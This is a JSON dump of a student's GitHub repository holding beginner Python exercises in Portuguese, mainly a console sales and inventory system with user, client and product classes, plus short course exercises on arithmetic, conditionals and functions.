sobrenome, email, cpf, senha, venda):\\n super().__init__(nome,sobrenome, email, cpf)\\n self.__venda = venda\\n self.__id = Usuario.contador+1\\n self.__senha = cryp.hash(senha, rounds=200000, salt_size=16)# qual string sera incriptada, o ronund mostra quantos embaralhamentos seram feitos salt = parte do texto que será juntada\\n Usuario.contador = self.__id\\n print(f'Usuario criado: {self.__gera_usuario()}')\\n\\n @property\\n def id(self):\\n return self.__id\\n\\n @property\\n def senha(self):\\n return self.__senha\\n\\n @senha.setter\\n def senha(self, senha):\\n self.__senha = senha\\n\\n @property\\n def venda(self):\\n return self.__venda\\n\\n @venda.setter\\n def venda(self, venda):\\n self.__venda = venda\\n\\n #verifica se a senha digitada é igual a senha registrada\\n def checa_senha(self,senha):\\n if cryp.verify(senha, senha):\\n return True\\n return False\\n\\n\\n def __gera_usuario(self):\\n return self.email.split('@')[0] #quebra a string no ponto desejado e devolve o que estava antes do parametro na posiçãozeroda lista\\n\\n\\n def mostra_usuario(self,):\\n print(f'\\\\n {self.id}'\\n f'\\\\n Nome:{self.nome}'\\n f'\\\\n Sobrenome:{self.sobrenome}'\\n f'\\\\n CPF:{self.cpf}'\\n f'\\\\n Email:{self.email}')\\n\\n#--------------------------------------------Funcionario---------------------------------------------------------------------------------------------------\\nclass Funcionario(Usuario):\\n def __init__(self, nome, sobrenome, email, cpf, senha, funcao, venda):\\n super().__init__(nome,sobrenome, email,cpf, senha, venda)\\n self.__funcao = funcao\\n\\n @property\\n def funcao(self):\\n return self.__funcao\\n\\n def mostra_funcao(self):\\n print(f'O Funcionario{Usuario.nome} realiza a função de {self.funcao}')\\n\\n#---------------------------------------------Gerente---------------------------------------------------------------------------------------------------\\nclass Gerente(Usuario):\\n def __init__(self, nome, sobrenome, email, cpf, senha, setor, venda):\\n super().__init__(nome,sobrenome, email,cpf, senha, venda)\\n self.__setor = setor\\n\\n @property\\n def setor(self):\\n return self.__setor\\n\\n @setor.setter\\n def setor(self, setor):\\n self.__setor = setor\\n\\n def mostra_setor(self):\\n print(f'O gerente:{Usuario.nome} e responsavel pelo setor:{self.setor}')\\n\\n\\n def delUser(self):\\n pass\\n\\n#---------------------------------------------Cliente---------------------------------------------------------------------------------------------------\\nclass Cliente(Pessoa):\\n def __init__(self, nome, sobrenome, email, cpf,compra):\\n super().__init__(nome, sobrenome ,email, cpf)\\n self.__compra = compra\\n\\n @property\\n def compra(self):\\n return self.__compra\\n\\n def mostra_cliente(self):\\n print(f'\\\\n Nome:{self.nome}'\\n f'\\\\n Sobrenome:{self.sobrenome}'\\n f'\\\\n CPF:{self.cpf}'\\n f'\\\\n Email:{self.email}'\\n f'\\\\n Compra:{self.compra}')\\n\\n#-----------------------------------------------Venda---------------------------------------------------------------------------------------------------\\nclass Venda:\\n def __init__(self, data, hora, cliente, vendedor):\\n self.__data = data\\n self.__hora = hora\\n self.__cliente = cliente\\n self.__vendedor = vendedor\\n\\n @property\\n def data(self):\\n return self.__data\\n\\n @data.setter\\n def data(self, data):\\n self.__data = data\\n\\n @property\\n def hora(self):\\n return self.__hora\\n\\n @hora.setter\\n def hora(self, hora):\\n self.__hora = hora\\n\\n @property\\n def cliente(self):\\n return self.__cliente\\n\\n @cliente.setter\\n def cliente(self, cliente):\\n self.__cliente = cliente\\n\\n @property\\n def vendedor(self):\\n return self.__vendedor\\n\\n @vendedor.setter\\n def vendedor(self, vendedor):\\n self.__vendedor = vendedor\\n\\n def carrinho_compras(self,estoque):\\n carrinho = []\\n produto = []\\n c_preco = []#contador de precos\\n s_preco = 0\\n while produto != 'sair':\\n print(\\\"Adicione um produto no carrinho ou digite 'sair para sair:'\\\")\\n produto = input()\\n if produto != 'sair':\\n if produto == 'p1':\\n carrinho.append(p1.__dict__)\\n c_preco.append(p1.__dict__['_Produto__preco'])\\n if produto == 'p2':\\n carrinho.append(p2.__dict__)\\n c_preco.append(p2.__dict__['_Produto__preco'])\\n if produto == 'p3':\\n carrinho.append(p3.__dict__)\\n c_preco.append(p3.__dict__['_Produto__preco'])\\n if produto == 'p4':\\n carrinho.append(p4.__dict__)\\n c_preco.append(p4.__dict__['_Produto__preco'])\\n if produto == 'p5':\\n carrinho.append(p5.__dict__)\\n c_preco.append(p6.__dict__['_Produto__preco'])\\n if produto == 'p6':\\n carrinho.append(p6.__dict__)\\n c_preco.append(p6.__dict__['_Produto__preco'])\\n\\n print(f'----------------Eletronica Simas Turbo--------------------'\\n f'\\\\nData:{self.data} Hora:{self.hora}'\\n f'\\\\n--------------------------------------------------------'\\n f'\\\\nCliente:{self.cliente}'\\n f'\\\\n--------------------------------------------------------')\\n for produto in carrinho:\\n print( f'\\\\n Produto: {len(carrinho)}:{produto.values()}')\\n for p in c_preco:\\n s_preco += p\\n print(f'\\\\n--------------------------------------------------------'\\n f'\\\\nTotal:{s_preco}'\\n f'\\\\n--------------------------------------------------------')\\n\\n#----------------------------------------------Produto---------------------------------------------------------------------------------------------------\\nclass Produto:\\n contador = 0\\n def __init__(self, nome, codigo, preco, descricao, pcusto, imposto):\\n self.__nome = nome\\n self.__codigo = codigo\\n self.__preco = preco\\n self.__descricao = descricao\\n self.__pcusto = pcusto\\n self.__imposto = imposto\\n\\n @property\\n def nome(self):\\n return self.__nome\\n\\n @nome.setter\\n def nome(self, nome):\\n self.__nome = nome\\n\\n @property\\n def codigo(self):\\n return self.__codigo\\n\\n @codigo.setter\\n def codigo(self, codigo):\\n self.__codigo = codigo\\n\\n @property\\n def preco(self):\\n return self.__preco\\n\\n @preco.setter\\n def preco(self, preco):\\n self.__preco = preco\\n\\n @property\\n def descricao(self):\\n return self.__descricao\\n\\n @descricao.setter\\n def descricao(self, descricao):\\n self.__descricao = descricao\\n\\n @property\\n def pcusto(self):\\n return self.__pcusto\\n\\n @pcusto.setter\\n def pcusto(self, pcusto):\\n self.__pcusto = pcusto\\n\\n @property\\n def imposto(self):\\n return self.__imposto\\n\\n @imposto.setter\\n def imposto(self, imposto):\\n self.__imposto = imposto\\n\\n def lucro(self,imposto, preco, pcusto):\\n pimposto = pcusto * imposto/100\\n lucro = (pimposto + pcusto) - preco\\n return lucro\\n\\n def desconto(self, preco):\\n vdesc = int(input('Digite o valor do desconto'))\\n desc = (preco * vdesc/100) - preco\\n return f'O deconto foi de {desc}'\\n\\n\\n\\n\\n def mostra_produto(self):\\n print(f'\\\\n Nome:{self.nome}'\\n f'\\\\n Código:{self.codigo}'\\n f'\\\\n Preço:{self.preco}'\\n f'\\\\n Descrição:{self.descricao}'\\n f'\\\\n Preço de custo:{self.pcusto}'\\n f'\\\\n Porcentagem de impostos:{self.imposto}%')\\n#------------------------------------------------CRUD----------------------------------------------------------------------\\n\\n\\ndef menu():\\n print(f'O deseja fazer?'\\n f'\\\\n 1 - Cadastrar produto'\\n f'\\\\n 2 - Cadastrar usuario'\\n f'\\\\n 3 - Cadastrar cliente'\\n f'\\\\n 4 - Alterar produto'\\n f'\\\\n 5 - Alterar usuario'\\n f'\\\\n 6 - Alterar cliente'\\n f'\\\\n 7 - visualizar produto'\\n f'\\\\n 8 - visualizar usuario'\\n f'\\\\n 9 - visualizar cliente'\\n f'\\\\n 10 - Deleta produto'\\n f'\\\\n 11 - Deleta usuario'\\n f'\\\\n 12 - Deleta cliente')\\n opcao = input('Digite o número da operção')\\n return opcao\\n\\ndef cadastra_produto():\\n nome = input('Nome do produto: ')\\n preco = int(input('Valor do produto: '))\\n codigo = int(input('Código de barras: '))\\n descricao = input('Descrição do produto: ')\\n pcusto = int(input('valor de fabrica: '))\\n imposto = int(input('Porcentagem de impostos: '))\\n\\n p = Produto(nome, preco, codigo, descricao, pcusto, imposto)\\n print(f'O produto {p.nome} foi cadastrado com sucesso!')\\n print(p.__dict__)\\n return p\\n\\ndef altera_produto(c):\\n print('O que deseja alterar?'\\n '\\\\n 1 - Atualizar nome'\\n '\\\\n 2 - Atualizar preço'\\n '\\\\n 3 - Atualizar codigo de barras'\\n '\\\\n 4 - Atualizar descrição'\\n '\\\\n 4 - Atualizar valor de fabrica'\\n '\\\\n 4 - Atualizar impostos')\\n op = input('Digite o número da operação')\\n if op == '1':\\n nnome = (input('Digite o novo nome'))\\n c.nome = nnome\\n if op == '2':\\n ncodigo = (input('Digite o preço'))\\n c.codigo = ncodigo\\n if op == '3':\\n npreco = (input('Digite o codigo de barras'))\\n c.preco = npreco\\n if op == '4':\\n ndescricao = (input('Digite a nova descrição'))\\n c.descricao = ndescricao\\n if op == '5':\\n npcusto = (input('Digite o novo preço de fabrica'))\\n c.pcusto = npcusto\\n if op == '6':\\n nimposto = (input('Digite a nova porcentagem de impostos'))\\n c.imposto = nimposto\\n\\ndef cadastra_usuario():\\n su = input('\\\\n 1 - Gerente'\\n '\\\\n 2 - Funcionario')\\n if su =='1':\\n nome = input('Informe o nome: ')\\n sobrnome =input('Informe o sobrenome: ')\\n email = input('Informe o email: ')\\n cpf = input('Informe o cpf: ')\\n senha = input('Informe a senha: ')\\n confirma_senha = input('Confirme a senha: ')\\n setor = input('setor')\\n venda = 0\\n\\n if senha == confirma_senha:\\n user = Gerente(nome,sobrnome,email, cpf, senha, setor, venda)\\n print(f'Usuario {user.nome_comleto()} criado com sucesso!')\\n print(user.__dict__)\\n return user\\n else:\\n print('Senha não confere...')\\n exit(42)\\n elif su =='2':\\n\\n if su == '1':\\n nome = input('Informe o nome: ')\\n sobrnome = input('Informe o sobrenome: ')\\n email = input('Informe o email: ')\\n cpf = input('Informe o cpf: ')\\n senha = input('Informe a senha: ')\\n confirma_senha = input('Confirme a senha: ')\\n cargo = input('cargo')\\n venda = 0\\n\\n if senha == confirma_senha:\\n user = Gerente(nome, sobrnome, email, cpf, senha, cargo, venda)\\n print(f'Usuario {user.nome_comleto()} criado com sucesso!')\\n print(user.__dict__)\\n return user\\n else:\\n print('Senha não confere...')\\n exit(42)\\n\\n else:\\n print('opção invalida!')\\n\\ndef realiza_venda():\\n data = input('digite a data: ')\\n hora = int(input('horario: '))\\n cliente = input('cliente: ')\\n vendedor = int(input('vendedor: '))\\n\\n venda = Venda(data,hora,cliente,vendedor)\\n print(f'Venda iniciada!')\\n print(venda.__dict__)\\n\\ndef cadastra_cliente():\\n nome = input('Informe o nome: ')\\n sobrnome = input('Informe o sobrenome: ')\\n email = input('Informe o email: ')\\n cpf = input('Informe o cpf: ')\\n compra = 0\\n c = Cliente(nome,sobrnome, email, cpf, compra)\\n print(f'Usuario {c.nome_comleto()} Criado com sucesso!')\\n print(c.__dict__)\\n\\ndef altera_cliente(c):\\n print('O que deseja alterar?'\\n '\\\\n 1 - Atualizar nome'\\n '\\\\n 2 - Atualizar sobrenome'\\n '\\\\n 3 - Atualizar email'\\n '\\\\n 4 - Atualizar cpf')\\n op = input('Digite o número da operação')\\n if op == '1':\\n nnome = (input('Digite o novo nome'))\\n c.nome = nnome\\n if op == '2':\\n nsobrenome = (input('Digite o novo nome'))\\n c.sobrenome = nsobrenome\\n if op == '3':\\n nemail = (input('Digite o novo nome'))\\n c.email = nemail\\n if op == '4':\\n ncpf = (input('Digite o novo nome'))\\n c.cpf = ncpf\\n\\ndef visualiza_usuario(user):\\n Usuario.mostra_usuario(user)\\n\\ndef visualiza_produto(produto):\\n Produto.mostra_produto(produto)\\n\\ndef visualiza_cliente(user):\\n Cliente.mostra_cliente(user)\\n\\ndef delete_usuario(func):\\n f = input('Qual qual Funcionario será deletado?')\\n if f in func:\\n func.pop(f)\\n print(f'Funcionario deletado!')\\n\\ndef delete_cliente(c_cadastrados):\\n c = input('Qual qual cliente será deletado?')\\n if c in c_cadastrados:\\n c_cadastrados.pop(c)\\n print(f'Produto deletado!')\\n\\ndef delete_produto(estoque):\\n item = input('Qual qual produto será deletado?')\\n if item in estoque:\\n estoque.pop(item)\\n print(f'Produto deletado!')\\n\\n\\nif __name__ == '__main__':\\n#----------------------------------------------Produtos-------------------------------------------------------\\n p1 = Produto('Mousepad', 7891099, 10.99, 'Mouse pad com apoio para a mão', 2.49, 1)\\n p2 = Produto('Teclado', 78929999, 299.99, 'Teclado mecanico ', 2.49, 2)\\n p3 = Produto('Mouse', 7898999, 89.99, 'Mouse optico sem fio', 2.49, 3)\\n p4 = Produto('Monitor', 789499.99, 499.99, 'Monitor asus 1400X900', 2.49, 1)\\n p5 = Produto('Gabinete', 78919999, 199.99, 'gabinete grande', 2.49, 1)\\n p6 = Produto('Microfone', 7895999, 59.99, 'Microfone de mesa', 2.49, 2)\\n#---------------------------------------------Usuarios---------------------------------------------------------\\n g1 = Gerente('Italo','Vinicius','cefe@gmail.com','12345678945','123456','Vendedor',0)\\n f1 = Funcionario('João','Batista','jao@gmail.com','65478932145','789456',1,0)\\n#---------------------------------------------Clientes----------------------------------------------------------\\n c1 = Cliente('Juliana','Pereira','ju@gmail.com','45696325814',0)\\n#----------------------------------------------Vendas----------------------------------------------------------------\\n v1 = Venda('20/05/2020','13:50',c1.__dict__['_Pessoa__nome'],f1)\\n#--------------------------------------------------------------------------------------------------------\\n estoque = [p1,p2,p3,p4,p5,p6]\\n func = [f1,g1]\\n c_cadastrados =[c1]\\n#-------------------------------------------------------Menu--------------------------------------------------------\\n while True:\\n r = menu()\\n if r =='1':\\n try:\\n estoque.append(cadastra_produto())\\n except:\\n print('Erro ao cadastrar, por favor tente mais tarde!')\\n#------------------------------------------------------------------------------------------------------\\n if r =='2':\\n try:\\n func.append(cadastra_usuario())\\n except:\\n print('Erro ao cadastrar, por favor tente mais tarde!')\\n#------------------------------------------------------------------------------------------------------\\n elif r == '3':\\n try:\\n c_cadastrados.append(cadastra_cliente())\\n except:\\n print('Erro ao cadastrar, por favor tente mais tarde!')\\n#------------------------------------------------------------------------------------------------------\\n elif r == '4':\\n opp = input('Qual produto deseja alterar?')\\n if opp in estoque:\\n altera_produto(opp)\\n else:\\n opp = input('Produto não cadastrado, deseja cadastra-lo?').upper()\\n if opp == 'S':\\n cadastra_produto()\\n#------------------------------------------------------------------------------------------------------\\n elif r == '5':\\n opau = input('Qual usuario deseja alterar?')\\n if opau in func:\\n print('Erro 400')\\n else:\\n opu = input('Usuario não cadastrado, deseja cadastra-lo?').upper()\\n if opu == 'S':\\n cadastra_usuario()\\n#------------------------------------------------------------------------------------------------------\\n elif r == '6':\\n opac = input('Qual cliente deseja alterar?')\\n if opac in estoque:\\n altera_cliente(opac)\\n else:\\n opc =input('cliente não cadastrado, deseja cadastra-lo?').upper()\\n if opc == 'S':\\n cadastra_cliente()\\n#------------------------------------------------------------------------------------------------------\\n elif r == '7':\\n opvp1 = input('\\\\n [1]-Mostrar produto especifico'\\n '\\\\n [2]-Mostrar Todos os produtos')\\n if opvp1 == '1':\\n opvp2 = input('Qual produto deseja visualizar?')\\n if opvp2 in estoque:\\n altera_cliente(opvp2)\\n else:\\n opp = input('Produto não cadastrado, deseja cadastra-lo?').upper()\\n if opp == 'S':\\n cadastra_produto()\\n if opvp1 == '2':\\n for p in estoque:\\n print(p.__dict__)\\n#------------------------------------------------------------------------------------------------------\\n elif r == '8':\\n opvp1 = input('\\\\n [1]-Mostrar usuario especifico'\\n '\\\\n [2]-Mostrar Todos os usuarios')\\n if opvp1 == '1':\\n opvp2 = input('Qual usuario deseja visualizar?')\\n if opvp2 in estoque:\\n visualiza_usuario(opvp2)\\n else:\\n opu = input('Usuario não cadastrado, deseja cadastra-lo?').upper()\\n if opu == 'S':\\n cadastra_usuario()\\n\\n if opvp1 == '2':\\n for u in func:\\n print(u.__dict__)\\n#------------------------------------------------------------------------------------------------------\\n elif r == '9':\\n opvc1 = input('\\\\n [1]-Mostrar cliente especifico'\\n '\\\\n [2]-Mostrar Todos os cliente')\\n if opvc1 == '1':\\n opvc2 = input('Qual cliente deseja visualizar?')\\n if opvc2 in c_cadastrados:\\n visualiza_cliente(opvc2)\\n else:\\n opc = input('cliente não cadastrado, deseja cadastra-lo?').upper()\\n if opc == 'S':\\n cadastra_cliente()\\n if opvc1 == '2':\\n for c in c_cadastrados:\\n print(c.__dict__)\\n#--------------------------------------------------------------------------------------------------------------------\\n elif r == '10':\\n delete_produto(estoque)\\n#-------------------------------------------------------------------------------------------------------------------------\\n elif r == '11':\\n delete_usuario(func)\\n#------------------------------------------------------------------------------------------------------------------\\n elif r == '12':\\n delete_cliente(c_cadastrados)\\n#------------------------------------------------------------------------------------------------------------------------------\\n elif r =='sair':\\n break\\n\"\n },\n {\n \"alpha_fraction\": 0.5661538243293762,\n \"alphanum_fraction\": 0.6246153712272644,\n \"avg_line_length\": 34.88888931274414,\n \"blob_id\": \"2323a600eb65cb38d61b698de4c614087a89e54c\",\n \"content_id\": \"f44e0693b2e7b548c8e449a24d65c339298cb480\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 326,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex35.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nr1 = float(input('Digite o valor da reta 01: '))\\nr2 = float(input('Digite o valor da reta 02: '))\\nr3 = float(input('Digite o valor da reta 03:'))\\n\\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r2 + r1:\\n print('Esse valores geram um triagunlo ')\\nelse:\\n print('Esse valores não geram um triagunlo')\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.654321014881134,\n \"alphanum_fraction\": 0.654321014881134,\n \"avg_line_length\": 19.5,\n \"blob_id\": \"c8ecc32b64e449fa836aa9a4bee59e79cbfe0a80\",\n \"content_id\": \"9b9a878ccddaf7dc93f7c79ab5cb5ea4fa6db04a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 81,\n \"license_type\": \"permissive\",\n \"max_line_length\": 29,\n \"num_lines\": 4,\n \"path\": \"/Paradigmas_Program/cliente.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nclass Cliente:\\n def __init__(self):\\n pass\"\n },\n {\n \"alpha_fraction\": 0.5099337697029114,\n \"alphanum_fraction\": 0.5298013091087341,\n \"avg_line_length\": 24,\n \"blob_id\": \"b97c84258eda944adda5cd91fe99d9abe4ff2799\",\n \"content_id\": \"ab970abbd20d4ccddb56fe922e5a80d766614eff\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 156,\n \"license_type\": \"permissive\",\n \"max_line_length\": 36,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M1/ex30.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn = int(input('Digite um número: '))\\nif n % 2 == 0:\\n print(f'O número {n} é par')\\nelse:\\n print(f'O número {n} é impar')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7527173757553101,\n \"alphanum_fraction\": 0.75951087474823,\n \"avg_line_length\": 48.13333511352539,\n \"blob_id\": \"137e190f337fe1d92cd3c4a40c71e90875b45a7d\",\n \"content_id\": \"8756053d7df55dfa3d2ed5baae788887edde0a13\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 758,\n \"license_type\": \"permissive\",\n \"max_line_length\": 112,\n \"num_lines\": 15,\n \"path\": \"/Curso-Em-Video/M3/funcoes2.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nhelp() -> entrar no console de adjuda interativa do python, depois é so digitar em que queremos ajuda\\nou então passar como parametro o que queremos pesquisar\\n\\nprint(x.__doc__) -> irá nos fornecer a documentação da função X\\n\\nDocstrings são a documentão de uma função, elas devem ser criadas abaixo da função criada usando ''' doc '''\\n\\\"\\\"\\\"\\n# Parametros opcionais:\\ndef somar(a=0,b=0,c=0):#quando queremos que um parametro seja opcional colo\\n s = a+b+c # lembre-se que variaveis criads dentro da função só funcionam na função chamadas variaveis locais\\n return s #return é útil quando temos queremos apenas o valor resultante\\n\\nsomar(3,2)\\n# Se quisermos usar uma variavel global em uma função nos colocamos o parametro \\\"global\\\" antes\"\n },\n {\n \"alpha_fraction\": 0.5874999761581421,\n \"alphanum_fraction\": 0.637499988079071,\n \"avg_line_length\": 39,\n \"blob_id\": \"a8e8bf56d7e0a2cdeb3672748cb55f2657ecea1f\",\n \"content_id\": \"234c3429987e72d4f51deda7d7b1bc6cd52e0139\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 162,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 4,\n \"path\": \"/Curso-Em-Video/M1/ex13.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nsal = float(input('Digite o salário do funcionario: '))\\nnsal = sal +(sal*(15/100))\\nprint(f'O novo salario com 15% de aumento é {nsal}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6818181872367859,\n \"alphanum_fraction\": 0.7121211886405945,\n \"avg_line_length\": 21,\n \"blob_id\": \"ed1b4ceb6794666e21539ee3616aca98af684c63\",\n \"content_id\": \"49f55ef27cb557214f4521bea836cb8924837624\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 132,\n \"license_type\": \"permissive\",\n \"max_line_length\": 35,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M1/ex21.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport pygame\\npygame.init\\npygame.mixer.music.load('ex21.mp3')\\npygame.mixer.music.play()\\npygame.event.wait()\\n\"\n },\n {\n \"alpha_fraction\": 0.41160520911216736,\n \"alphanum_fraction\": 0.6339479684829712,\n \"avg_line_length\": 44,\n \"blob_id\": \"dd3c226159602f3ce8fbb123d12f8c9e60a5804b\",\n \"content_id\": \"9ed7fd0d4446e7e82421cd683be7a57ee64074c8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1844,\n \"license_type\": \"permissive\",\n \"max_line_length\": 71,\n \"num_lines\": 41,\n \"path\": \"/Prova/main.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from Prova.Funcoes import crie_matriz,escrever_memoria,imprimir_memoria\\nmat_memoria = []\\n\\n\\nif __name__ == '__main__':\\n letra = input(\\\"Digite uma letra 'A','B' ou 'C'\\\").upper()\\n if letra == 'A':\\n matriz = crie_matriz (8,8,\\\".\\\")\\n escrever_memoria('00000001', '00011000',matriz)\\n escrever_memoria('00000010', '00100100',matriz)\\n escrever_memoria('00000011', '01000010',matriz)\\n escrever_memoria('00000100', '01111110',matriz)\\n escrever_memoria('00000101', '01000010',matriz)\\n escrever_memoria('00000110', '01000010',matriz)\\n escrever_memoria('00000111', '01000010',matriz)\\n escrever_memoria('00001000', '00000000',matriz)\\n\\n imprimir_memoria(matriz)\\n elif letra == 'B':\\n matriz2 = crie_matriz(8, 8, \\\".\\\")\\n escrever_memoria('00000001', '00000000', matriz2)\\n escrever_memoria('00000010', '01111110', matriz2)\\n escrever_memoria('00000011', '01000001', matriz2)\\n escrever_memoria('00000100', '01111110', matriz2)\\n escrever_memoria('00000101', '01000010', matriz2)\\n escrever_memoria('00000110', '01000001', matriz2)\\n escrever_memoria('00000111', '01111110', matriz2)\\n escrever_memoria('00001000', '00000000', matriz2)\\n\\n imprimir_memoria(matriz2)\\n elif letra == 'C':\\n matriz3 = crie_matriz(8, 8, \\\".\\\")\\n escrever_memoria('00000001', '00000111',matriz3)\\n escrever_memoria('00000010', '00001000', matriz3)\\n escrever_memoria('00000011', '00100000', matriz3)\\n escrever_memoria('00000100', '01000000', matriz3)\\n escrever_memoria('00000101', '01000000', matriz3)\\n escrever_memoria('00000110', '00100000', matriz3)\\n escrever_memoria('00000111', '00010000', matriz3)\\n escrever_memoria('00001000', '00000111', matriz3)\\n imprimir_memoria(matriz3)\"\n },\n {\n \"alpha_fraction\": 0.4318840503692627,\n \"alphanum_fraction\": 0.5130434632301331,\n \"avg_line_length\": 21.29032325744629,\n \"blob_id\": \"80ae8b527b3a1ba79414f209d85c33852646a694\",\n \"content_id\": \"bf7d847d24bcedc355a96673ae46cc126d1a2ba4\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 693,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 31,\n \"path\": \"/Curso-Em-Video/M3/ex106.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"c = ('\\\\033[m', # 0 sem cores\\n '\\\\033[0;30;41m', # vermelho\\n '\\\\033[0;30m;42', # verde\\n '\\\\033[0;30m;43', # amarelo\\n '\\\\033[0;30m;44', # azul\\n '\\\\033[0;30m;45', # roxo\\n '\\\\033[7;30m;' # branco\\n );\\ndef ajuda(com):\\n titulo(f'Acessando o manual do comando \\\\'{com}\\\\'', 4)\\n help(com)\\n\\ndef titulo(msg, cor=0):\\n tam = len(msg) + 4\\n print(c[cor], end='')\\n print('~' * tam)\\n print(f' {msg}')\\n print('~' * tam)\\n print(c[0], end='')\\n\\n\\n\\ncomando = ''\\nwhile True:\\n titulo('SISTEMA DE AJUDA PyHELP', 2)\\n comando = str(input('Função da bblioteca >'))\\n if comando.upper() == 'FIM':\\n break\\n else:\\n ajuda(comando)\\ntitulo('ATÉ LOGO!',1)\"\n },\n {\n \"alpha_fraction\": 0.6237288117408752,\n \"alphanum_fraction\": 0.6508474349975586,\n \"avg_line_length\": 27.14285659790039,\n \"blob_id\": \"e44a98be2c7e27c2d4bf2bd66a6e46bd51c6f839\",\n \"content_id\": \"c76356cee12cd31a334ad64204a026dc92258a71\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 590,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 21,\n \"path\": \"/Curso-Em-Video/M3/mod109.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def aumentar(preco =0, taxa=0, formato=False):\\n res = preco + (preco * taxa/100)\\n return res if formato is False else moeda(res)\\n\\n\\ndef diminuir(preco = 0 , taxa=0, formato=False):\\n res = preco - (preco * taxa/100)\\n return res if formato is False else moeda(res)\\n\\n\\ndef dobro(preco =0, formato=False):\\n res = preco * 2\\n return res if formato is False else moeda(res)\\n\\n\\ndef metade(preco =0, formato=False):\\n res = preco/ 2\\n return res if formato is False else moeda(res)\\n\\ndef moeda(preco =0, moeda ='R$', format=False):\\n return f'{moeda}{preco:.2f}'.replace('.',',')\"\n },\n {\n \"alpha_fraction\": 0.5982906222343445,\n \"alphanum_fraction\": 0.6068376302719116,\n \"avg_line_length\": 38,\n \"blob_id\": \"e3a892b3efcaa9ad761bdfa45d9645c2f7fb1157\",\n \"content_id\": \"9f8b4a3e4514de77d6444d0ca8816725dfe0a00f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 119,\n \"license_type\": \"permissive\",\n \"max_line_length\": 52,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M1/bemvindo.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nnome =input(str(\\\"Qual é o seu nome? \\\"))\\nprint(f'Olá, {nome} seja bem vindo(a)'.format(nome))\\n\"\n },\n {\n \"alpha_fraction\": 0.6262626051902771,\n \"alphanum_fraction\": 0.6262626051902771,\n \"avg_line_length\": 28.117647171020508,\n \"blob_id\": \"abeeee0847e86e4d8be4f3450ab6a508cb1e6c2e\",\n \"content_id\": \"75b205c3ee999df8a070aef8041968b1058a059a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 497,\n \"license_type\": \"permissive\",\n \"max_line_length\": 54,\n \"num_lines\": 17,\n \"path\": \"/Paradigmas_Program/carrinho_compra.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datetime import datetime\\nclass CarrinhoCompra:\\n def __init__(self, num_pedido,o_cliente):\\n self.num_pedido = num_pedido\\n self.cliente = o_cliente\\n self.produtos = list()\\n\\n def get_num_pedido(self):\\n return self.num_pedido\\n\\n def get_cliente_nome(self):\\n return self.cliente.get_nome()\\n\\n def mostra_carrinho(self):\\n print('- Mostra carrinho: ')\\n for produto in self.produtos:\\n print('Descrição: ',produto.get_descricao)\\n\"\n },\n {\n \"alpha_fraction\": 0.6638655662536621,\n \"alphanum_fraction\": 0.6722689270973206,\n \"avg_line_length\": 38.66666793823242,\n \"blob_id\": \"a57872cb86bfb099fbf50ca806e26374fe6ba21a\",\n 